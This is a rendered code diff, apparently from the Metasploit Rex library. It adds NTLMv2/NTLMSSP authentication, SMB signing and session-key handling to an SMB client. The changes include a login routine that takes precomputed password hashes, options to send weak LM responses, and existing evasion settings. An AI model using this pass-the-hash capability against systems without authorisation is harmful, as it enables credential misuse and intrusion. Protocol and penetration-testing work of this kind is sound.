||||
#addr_list << [10, 16].pack('vv') + "\x00" * 16
|
||||
#seven and maybe other versions also add an av of type MsvAvTargetName(9) with value cifs/target(_ip)
|
||||
#implementing it will necessary require knowing the target here, todo... :-/
|
||||
#spn= Rex::Text.to_unicode("cifs/RHOST")
|
||||
#addr_list << [9, spn.length].pack('vv') + spn
|
||||
|
||||
addr_list << [0, 0].pack('vv')
|
||||
ntlm_clientchallenge = [1,1,0,0].pack("CCvV") + #RespType, HiRespType, Reserved1, Reserved2
|
||||
timestamp + #Timestamp
|
||||
client_challenge + #clientchallenge
|
||||
[0].pack("V") + #Reserved3
|
||||
addr_list + "\x00" * 4
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -8,8 +8,11 @@ require 'rex/struct2'
|
|||
require 'rex/proto/smb/constants'
|
||||
require 'rex/proto/smb/exceptions'
|
||||
require 'rex/proto/smb/evasions'
|
||||
require 'rex/proto/smb/crypt'
|
||||
require 'rex/proto/smb/utils'
|
||||
require 'rex/proto/smb/crypt'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
|
||||
|
||||
# Some short-hand class aliases
|
||||
|
@ -18,6 +21,9 @@ CRYPT = Rex::Proto::SMB::Crypt
|
|||
UTILS = Rex::Proto::SMB::Utils
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
EVADE = Rex::Proto::SMB::Evasions
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
|
||||
def initialize(socket)
|
||||
self.socket = socket
|
||||
|
@ -39,6 +45,17 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
# Modify the \PIPE\ string in trans_named_pipe calls
|
||||
'obscure_trans_pipe' => EVADE::EVASION_NONE,
|
||||
}
|
||||
self.verify_signature = false
|
||||
self.use_ntlmv2 = false
|
||||
self.usentlm2_session = true
|
||||
self.send_lm = true
|
||||
self.use_lanman_key = false
|
||||
self.send_ntlm = true
|
||||
#signing
|
||||
self.sequence_counter = 0
|
||||
self.signing_key = ''
|
||||
self.require_signing = false
|
||||
|
||||
end
|
||||
|
||||
# Read a SMB packet from the socket
|
||||
|
@ -73,7 +90,17 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
data << buff
|
||||
end
|
||||
|
||||
#signing
|
||||
if self.require_signing && self.signing_key != ''
|
||||
if self.verify_signature
|
||||
raise XCEPT::IncorrectSigningError if not CRYPT::is_signature_correct?(self.signing_key,self.sequence_counter,data)
|
||||
end
|
||||
self.sequence_counter += 1
|
||||
end
|
||||
|
||||
return data
|
||||
|
||||
|
||||
end
|
||||
|
||||
# Send a SMB packet down the socket
|
||||
|
@ -85,6 +112,12 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
size = 0
|
||||
wait = 0
|
||||
|
||||
#signing
|
||||
if self.require_signing && self.signing_key != ''
|
||||
data = CRYPT::sign_smb_packet(self.signing_key, self.sequence_counter, data)
|
||||
self.sequence_counter += 1
|
||||
end
|
||||
|
||||
begin
|
||||
# Just send the packet and return
|
||||
if (size == 0 or size >= data.length)
|
||||
|
@ -121,7 +154,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(data)
|
||||
res = pkt
|
||||
|
||||
|
||||
begin
|
||||
case pkt['Payload']['SMB'].v['Command']
|
||||
|
||||
|
@ -219,14 +252,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
# Process incoming SMB_COM_SESSION_SETUP_ANDX packets
|
||||
def smb_parse_session_setup(pkt, data)
|
||||
# Process NTLMv2 negotiate responses
|
||||
# Process NTLMSSP negotiate responses
|
||||
if (pkt['Payload']['SMB'].v['WordCount'] == 4)
|
||||
res = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
|
||||
res.from_s(data)
|
||||
return res
|
||||
end
|
||||
|
||||
# Process NTLMv1 and LANMAN responses
|
||||
# Process LANMAN responses
|
||||
if (pkt['Payload']['SMB'].v['WordCount'] == 3)
|
||||
res = CONST::SMB_SETUP_RES_PKT.make_struct
|
||||
res.from_s(data)
|
||||
|
@ -436,7 +469,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
end
|
||||
|
||||
# Negotiate a SMB dialect
|
||||
def negotiate(extended=true, do_recv = true)
|
||||
def negotiate(smb_extended_security=true, do_recv = true)
|
||||
|
||||
dialects = ['LANMAN1.0', 'LM1.2X002' ]
|
||||
|
||||
|
@ -452,7 +485,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
|
||||
if(extended)
|
||||
if(smb_extended_security)
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
|
@ -460,7 +493,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
ret = self.smb_send(pkt.to_s, EVADE::EVASION_NONE)
|
||||
return ret if not do_recv
|
||||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_NEGOTIATE)
|
||||
|
@ -483,6 +516,11 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
# Set the security mode
|
||||
self.security_mode = ack['Payload'].v['SecurityMode']
|
||||
|
||||
#set require_signing
|
||||
if (ack['Payload'].v['SecurityMode'] & 0x08 != 0)
|
||||
self.require_signing = true
|
||||
end
|
||||
|
||||
# Set the challenge key
|
||||
if (ack['Payload'].v['EncryptionKey'] != nil)
|
||||
self.challenge_key = ack['Payload'].v['EncryptionKey']
|
||||
|
@ -530,15 +568,6 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
end
|
||||
self.system_zone = system_zone * 60
|
||||
|
||||
# XXX: this is being commented out because ruby prior to 1.9.2 doesn't
|
||||
# seem to support representing non-utc or local times (eg, a time in
|
||||
# another timezone) If you know a way to do it in pre-1.9.2 please
|
||||
# tell us!
|
||||
=begin
|
||||
# Adjust the system_time object to reflect the remote timezone
|
||||
self.system_time = self.system_time.utc.localtime(system_zone)
|
||||
=end
|
||||
|
||||
return ack
|
||||
end
|
||||
|
||||
|
@ -547,15 +576,15 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
def session_setup(*args)
|
||||
|
||||
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
|
||||
|
||||
|
||||
|
||||
if (self.challenge_key)
|
||||
return self.session_setup_ntlmv1(*args)
|
||||
return self.session_setup_no_ntlmssp(*args)
|
||||
end
|
||||
|
||||
if ( self.extended_security )
|
||||
return self.session_setup_ntlmv2(*args)
|
||||
return self.session_setup_with_ntlmssp(*args)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
return self.session_setup_clear(*args)
|
||||
|
@ -571,7 +600,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
|
@ -601,121 +637,146 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
return ack
|
||||
end
|
||||
|
||||
# Authenticate using NTLMv1
|
||||
def session_setup_ntlmv1(user = '', pass = '', domain = '', do_recv = true)
|
||||
# Authenticate without NTLMSSP
|
||||
def session_setup_no_ntlmssp(user = '', pass = '', domain = '', do_recv = true)
|
||||
|
||||
raise XCEPT::NTLM1MissingChallenge if not self.challenge_key
|
||||
#we can not yet handle signing in this situation
|
||||
raise XCEPT::NTLM2MissingChallenge if self.require_signing
|
||||
|
||||
if (pass.length == 65)
|
||||
hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key)
|
||||
hash_nt = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key)
|
||||
hash_lm = pass.length > 0 ? NTLM_CRYPT.lanman_des(pass, self.challenge_key) : ''
|
||||
hash_nt = pass.length > 0 ? NTLM_CRYPT.ntlm_md4(pass, self.challenge_key) : ''
|
||||
|
||||
data = ''
|
||||
data << hash_lm
|
||||
data << hash_nt
|
||||
data << user + "\x00"
|
||||
data << domain + "\x00"
|
||||
data << self.native_os + "\x00"
|
||||
data << self.native_lm + "\x00"
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 13
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
return ret if not do_recv
|
||||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
|
||||
|
||||
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
|
||||
self.auth_user = user
|
||||
end
|
||||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
self.default_domain = info[2]
|
||||
|
||||
return ack
|
||||
end
|
||||
|
||||
|
||||
# Authenticate without ntlmssp with a precomputed hash pair
|
||||
def session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt, do_recv = true)
|
||||
|
||||
raise XCEPT::NTLM2MissingChallenge if self.require_signing
|
||||
|
||||
data = ''
|
||||
data << hash_lm
|
||||
data << hash_nt
|
||||
data << user + "\x00"
|
||||
data << domain + "\x00"
|
||||
data << self.native_os + "\x00"
|
||||
data << self.native_lm + "\x00"
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 13
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
return ret if not do_recv
|
||||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
|
||||
|
||||
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
|
||||
self.auth_user = user
|
||||
end
|
||||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
self.default_domain = info[2]
|
||||
|
||||
return ack
|
||||
end
|
||||
|
||||
# Authenticate using extended security negotiation
|
||||
def session_setup_with_ntlmssp(user = '', pass = '', domain = '', name = nil, do_recv = true)
|
||||
|
||||
if require_signing
|
||||
ntlmssp_flags = 0xe2088215
|
||||
else
|
||||
hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
|
||||
hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
|
||||
|
||||
ntlmssp_flags = 0xa2080205
|
||||
end
|
||||
|
||||
data = ''
|
||||
data << hash_lm
|
||||
data << hash_nt
|
||||
data << user + "\x00"
|
||||
data << domain + "\x00"
|
||||
data << self.native_os + "\x00"
|
||||
data << self.native_lm + "\x00"
|
||||
if self.usentlm2_session
|
||||
if self.use_ntlmv2
|
||||
#set Negotiate Target Info
|
||||
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_TARGET_INFO
|
||||
end
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 13
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
return ret if not do_recv
|
||||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
|
||||
|
||||
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
|
||||
self.auth_user = user
|
||||
else
|
||||
#remove the ntlm2_session flag
|
||||
ntlmssp_flags &= 0xfff7ffff
|
||||
#set lanmanflag only when lm and ntlm are sent
|
||||
if self.send_lm
|
||||
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_LMKEY if self.use_lanman_key
|
||||
end
|
||||
end
|
||||
|
||||
#we can also downgrade ntlm2_session when we send only lmv1
|
||||
ntlmssp_flags &= 0xfff7ffff if self.usentlm2_session && (not self.use_ntlmv2) && (not self.send_ntlm)
|
||||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
self.default_domain = info[2]
|
||||
|
||||
return ack
|
||||
end
|
||||
|
||||
|
||||
# Authenticate using NTLMv1 with a precomputed hash pair
|
||||
def session_setup_ntlmv1_prehash(user, domain, hash_lm, hash_nt, do_recv = true)
|
||||
|
||||
data = ''
|
||||
data << hash_lm
|
||||
data << hash_nt
|
||||
data << user + "\x00"
|
||||
data << domain + "\x00"
|
||||
data << self.native_os + "\x00"
|
||||
data << self.native_lm + "\x00"
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 13
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
return ret if not do_recv
|
||||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
|
||||
|
||||
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
|
||||
self.auth_user = user
|
||||
end
|
||||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
self.default_domain = info[2]
|
||||
|
||||
return ack
|
||||
end
|
||||
|
||||
# Authenticate using extended security negotiation (NTLMv2)
|
||||
def session_setup_ntlmv2(user = '', pass = '', domain = '', name = nil, do_recv = true)
|
||||
|
||||
if (name == nil)
|
||||
name = Rex::Text.rand_text_alphanumeric(16)
|
||||
end
|
||||
|
||||
blob = UTILS.make_ntlmv2_secblob_init(domain, name)
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
|
||||
|
||||
native_data = ''
|
||||
native_data << self.native_os + "\x00"
|
||||
|
@ -726,26 +787,33 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
if require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
||||
pkt['Payload'].v['Capabilities'] = 0x800000d4
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['Payload'] = blob + native_data
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
|
||||
return ret if not do_recv
|
||||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
|
||||
|
||||
# The server doesn't know about NTLM_NEGOTIATE, try ntlmv1
|
||||
# The server doesn't know about NTLM_NEGOTIATE
|
||||
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
|
||||
return session_setup_ntlmv1(user, pass, domain)
|
||||
return session_setup_no_ntlmssp(user, pass, domain)
|
||||
end
|
||||
|
||||
# Make sure the error code tells us to continue processing
|
||||
|
@ -782,62 +850,208 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
# Extract the address list from the blob
|
||||
alist_len,alist_mlen,alist_off = blob[cidx + 40, 8].unpack("vvV")
|
||||
alist_buf = blob[cidx + alist_off, alist_len]
|
||||
|
||||
chall_MsvAvTimestamp = nil
|
||||
while(alist_buf.length > 0)
|
||||
atype, alen = alist_buf.slice!(0,4).unpack('vv')
|
||||
break if atype == 0x00
|
||||
addr = alist_buf.slice!(0, alen)
|
||||
case atype
|
||||
when 1
|
||||
#netbios name
|
||||
self.default_name = addr.gsub("\x00", '')
|
||||
when 2
|
||||
#netbios domain
|
||||
self.default_domain = addr.gsub("\x00", '')
|
||||
when 3
|
||||
#dns name
|
||||
self.dns_host_name = addr.gsub("\x00", '')
|
||||
when 4
|
||||
#dns domain
|
||||
self.dns_domain_name = addr.gsub("\x00", '')
|
||||
when 5
|
||||
# unknown
|
||||
#The FQDN of the forest.
|
||||
when 6
|
||||
#A 32-bit value indicating server or client configuration
|
||||
when 7
|
||||
# client time
|
||||
chall_MsvAvTimestamp = addr
|
||||
when 8
|
||||
#A Restriction_Encoding structure
|
||||
when 9
|
||||
#The SPN of the target server.
|
||||
when 10
|
||||
#A channel bindings hash.
|
||||
end
|
||||
end
|
||||
|
||||
#calculate the lm/ntlm response
|
||||
resp_lm = "\x00" * 24
|
||||
resp_ntlm = "\x00" * 24
|
||||
|
||||
|
||||
# Generate a random client-side challenge
|
||||
client_challenge = Rex::Text.rand_text(8)
|
||||
ntlm_cli_challenge = ''
|
||||
if self.send_ntlm #should be default
|
||||
if self.usentlm2_session
|
||||
|
||||
# Generate the nonce
|
||||
nonce = CRYPT.md5_hash(self.challenge_key + client_challenge)
|
||||
if self.use_ntlmv2
|
||||
#This is only a partial implementation, in some situation servers may send STATUS_INVALID_PARAMETER
|
||||
#answer must then be somewhere in [MS-NLMP].pdf around 3.1.5.2.1 :-/
|
||||
|
||||
# Generate the NTLM hash
|
||||
if (pass.length == 65)
|
||||
resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8])
|
||||
else
|
||||
resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
|
||||
ntlm_cli_challenge = NTLM_UTILS::make_ntlmv2_clientchallenge(default_domain, default_name, dns_domain_name,
|
||||
dns_host_name,client_challenge , chall_MsvAvTimestamp)
|
||||
argntlm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user, pass, domain),
|
||||
:challenge => self.challenge_key }
|
||||
optntlm = { :nt_client_challenge => ntlm_cli_challenge}
|
||||
ntlmv2_response = NTLM_CRYPT::ntlmv2_response(argntlm,optntlm)
|
||||
resp_ntlm = ntlmv2_response
|
||||
if self.send_lm
|
||||
arglm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user,pass, domain),
|
||||
:challenge => self.challenge_key }
|
||||
optlm = { :client_challenge => client_challenge}
|
||||
resp_lm = NTLM_CRYPT::lmv2_response(arglm, optlm)
|
||||
else
|
||||
resp_lm = "\x00" * 24
|
||||
end
|
||||
|
||||
else # ntlm2_session
|
||||
|
||||
argntlm = { :ntlm_hash => NTLM_CRYPT::ntlm_hash(pass),
|
||||
:challenge => self.challenge_key }
|
||||
optntlm = { :client_challenge => client_challenge}
|
||||
|
||||
resp_ntlm = NTLM_CRYPT::ntlm2_session(argntlm,optntlm).join[24,24]
|
||||
# Generate the fake LANMAN hash
|
||||
resp_lm = client_challenge + ("\x00" * 16)
|
||||
end
|
||||
|
||||
else #we use lmv1/ntlmv1
|
||||
|
||||
argntlm = { :ntlm_hash => NTLM_CRYPT::ntlm_hash(pass),
|
||||
:challenge => self.challenge_key }
|
||||
|
||||
resp_ntlm = NTLM_CRYPT::ntlm_response(argntlm)
|
||||
if self.send_lm
|
||||
arglm = { :lm_hash => NTLM_CRYPT::lm_hash(pass),
|
||||
:challenge => self.challenge_key }
|
||||
resp_lm = NTLM_CRYPT::lm_response(arglm)
|
||||
else
|
||||
#when windows does not send lm in ntlmv1 type response,
|
||||
# it gives lm response the same value as ntlm response
|
||||
resp_lm = resp_ntlm
|
||||
end
|
||||
end
|
||||
else #send_ntlm = false
|
||||
#lmv2
|
||||
if self.usentlm2_session && self.use_ntlmv2
|
||||
arglm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user,pass, domain),
|
||||
:challenge => self.challenge_key }
|
||||
optlm = { :client_challenge => client_challenge}
|
||||
resp_lm = NTLM_CRYPT::lmv2_response(arglm, optlm)
|
||||
else
|
||||
arglm = { :lm_hash => NTLM_CRYPT::lm_hash(pass),
|
||||
:challenge => self.challenge_key }
|
||||
resp_lm = NTLM_CRYPT::lm_response(arglm)
|
||||
end
|
||||
resp_ntlm = ""
|
||||
end
|
||||
|
||||
# Generate the fake LANMAN hash
|
||||
resp_lmv2 = client_challenge + ("\x00" * 16)
|
||||
|
||||
# Create the ntlmv2 security blob data
|
||||
blob = UTILS.make_ntlmv2_secblob_auth(domain, name, user, resp_lmv2, resp_ntlm)
|
||||
#create the sessionkey (aka signing key, aka mackey) and encrypted session key
|
||||
#server will decide for key_size and key_exchange
|
||||
enc_session_key = ''
|
||||
if self.require_signing
|
||||
server_ntlmssp_flags = blob[cidx + 20, 4].unpack("V")[0]
|
||||
#set default key size and key exchange values
|
||||
key_size = 40
|
||||
key_exchange = false
|
||||
#remove ntlmssp.negotiate56
|
||||
ntlmssp_flags &= 0x7fffffff
|
||||
#remove ntlmssp.negotiatekeyexch
|
||||
ntlmssp_flags &= 0xbfffffff
|
||||
#remove ntlmssp.negotiate128
|
||||
ntlmssp_flags &= 0xdfffffff
|
||||
#check the keyexchange
|
||||
if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_KEY_EXCH != 0 then
|
||||
key_exchange = true
|
||||
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_KEY_EXCH
|
||||
end
|
||||
#check 128bits
|
||||
if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_128 != 0 then
|
||||
key_size = 128
|
||||
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_128
|
||||
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_56
|
||||
#check 56bits
|
||||
else
|
||||
if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_56 != 0 then
|
||||
key_size = 56
|
||||
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_56
|
||||
end
|
||||
end
|
||||
|
||||
#generate the user session key
|
||||
lanman_weak = false
|
||||
if self.send_ntlm #should be default
|
||||
if self.usentlm2_session
|
||||
if self.use_ntlmv2
|
||||
user_session_key = NTLM_CRYPT::ntlmv2_user_session_key(user, pass, domain,
|
||||
self.challenge_key, ntlm_cli_challenge)
|
||||
else
|
||||
user_session_key = NTLM_CRYPT::ntlm2_session_user_session_key(pass, self.challenge_key, client_challenge)
|
||||
end
|
||||
else #lmv1 / ntlmv1
|
||||
if self.send_lm
|
||||
if self.use_lanman_key
|
||||
user_session_key = NTLM_CRYPT::lanman_session_key(pass, self.challenge_key)
|
||||
lanman_weak = true
|
||||
else
|
||||
user_session_key = NTLM_CRYPT::ntlmv1_user_session_key(pass )
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
if self.usentlm2_session && self.use_ntlmv2
|
||||
user_session_key = NTLM_CRYPT::lmv2_user_session_key(user, pass, domain,
|
||||
self.challenge_key, client_challenge)
|
||||
else
|
||||
user_session_key = NTLM_CRYPT::lmv1_user_session_key(pass )
|
||||
end
|
||||
end
|
||||
|
||||
user_session_key = NTLM_CRYPT::make_weak_sessionkey(user_session_key,key_size, lanman_weak)
|
||||
self.sequence_counter = 0
|
||||
#sessionkey and encrypted session key
|
||||
if key_exchange
|
||||
self.signing_key = Rex::Text.rand_text(16)
|
||||
enc_session_key = NTLM_CRYPT::encrypt_sessionkey(self.signing_key, user_session_key)
|
||||
else
|
||||
self.signing_key = user_session_key
|
||||
end
|
||||
|
||||
end
|
||||
# Create the security blob data
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload']['SMB'].v['UserID'] = temp_user_id
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
pkt['Payload'].v['Payload'] = blob + native_data
|
||||
|
||||
# NOTE: if do_recv is set to false, we cant reach here...
|
||||
|
@ -848,7 +1062,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
# Make sure that authentication succeeded
|
||||
